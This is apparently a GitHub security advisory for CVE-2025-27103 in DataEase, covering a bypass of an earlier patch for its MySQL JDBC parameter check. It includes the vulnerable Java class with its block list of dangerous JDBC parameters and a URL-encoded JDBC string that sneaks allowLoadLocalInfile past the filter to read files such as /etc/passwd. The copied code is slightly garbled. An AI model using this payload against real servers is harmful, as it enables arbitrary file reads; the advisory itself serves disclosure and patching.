Skip to content

Dataease Mysql JDBC Connection Parameters Not Verified Leads to Arbitrary File Read Vulnerability​

High
fit2cloudrd published GHSA-v4gg-8rp3-ccjx Mar 13, 2025

Package

maven io.dataease (Maven)

Affected versions

<= 2.10.5

Patched versions

2.10.6

Description

Impact

Re-bypass for the patch for CVE-2024-55953.
Authenticated users can read and deserialize arbitrary files through the background JDBC connection.
The code in question is as follows (io.dataease.dto.datasource.MysqlConfiguration):

package io.dataease.datasource.type;
import io.dataease.exception.DEException;
import io.dataease.extensions.datasource.vo.DatasourceConfiguration;
import lombok.Data;
import org.apache.commons.lang3.StringUtils;
import org.springframework.stereotype.Component;
import java.net.URLDecoder;
import java.util.Arrays;
import java.util.List;@
Data@ Component("mysql")
public class Mysql extends DatasourceConfiguration {
    private String driver = "com.mysql.cj.jdbc.Driver";
    private String extraParams = "characterEncoding=UTF-
    8 & connectTimeout = 5000 & useSSL = false & allowPublicKeyRetrieval = true & zeroDateTimeBehavior = convertToNull ";
    private List < String > illegalParameters =
        Arrays.asList("maxAllowedPacket", "autoDeserialize", "queryInterceptors",
            "statementInterceptors", "detectCustomCollations", "allowloadlocalinfile", "allowUrlInLocalInfile", "allowLoadLocalInfileInPath");
    private List < String > showTableSqls = Arrays.asList("show tables");
    public String getJdbc() {
        if (StringUtils.isNoneEmpty(getUrlType()) &&
            !getUrlType().equalsIgnoreCase("hostName")) {
            for (String illegalParameter: illegalParameters) {
                if (getJdbcUrl().toLowerCase().contains(illegalParameter.toLowerCase()) || URLDecoder.decode(getExtraParams()).contains(illegalParameter.toLowerCase())) {
                    DEException.throwException("Illegal parameter: " +
                        illegalParameter);
                }
            }
            return getJdbcUrl();
        }
        if (StringUtils.isEmpty(extraParams.trim())) {
            return "jdbc:mysql://HOSTNAME:PORT/DATABASE"
                .replace("HOSTNAME", getLHost().trim())
                .replace("PORT", getLPort().toString().trim())
                .replace("DATABASE", getDataBase().trim());
        } else {
            for (String illegalParameter: illegalParameters) {
                if (getExtraParams().toLowerCase().contains(illegalParameter.toLowerCase()) || URLDecoder.decode(getExtraParams()).contains(illegalParameter.toLowerCase())) {
                    DEException.throwException("Illegal parameter: " +
                        illegalParameter);
                }
            }
            return "jdbc:mysql://HOSTNAME:PORT/DATABASE?EXTRA_PARAMS"
                .replace("HOSTNAME", getLHost().trim())
                .replace("PORT", getLPort().toString().trim())
                .replace("DATABASE", getDataBase().trim())
                .replace("EXTRA_PARAMS", getExtraParams().trim());
        }
    }
}

The JDBC connection string returned by getJdbcurl function is not URLDecoded, resulting in the following JDBC string being constructed to bypass it

jdbc:mysql://192.168.64.1:3306/?
%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=true&%61%6c%6c%6f
%77%55%72%6c%49%6e%4c%6f%63%61%6c%49%6e%66%69%6c%65=true

After logging in, send the following request
image
image

It can be seen that the detection is bypassed at the source code
image

Using the tool , successfully read the /etc/passwd
image

Affected versions: <= 2.10.5

Patches

The vulnerability has been fixed in v2.10.6.

Workarounds

It is recommended to upgrade the version to v2.10.6.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/dataease/dataease
Email us at [email protected]

Severity

High

CVE ID

CVE-2025-27103

Weaknesses

No CWEs

Credits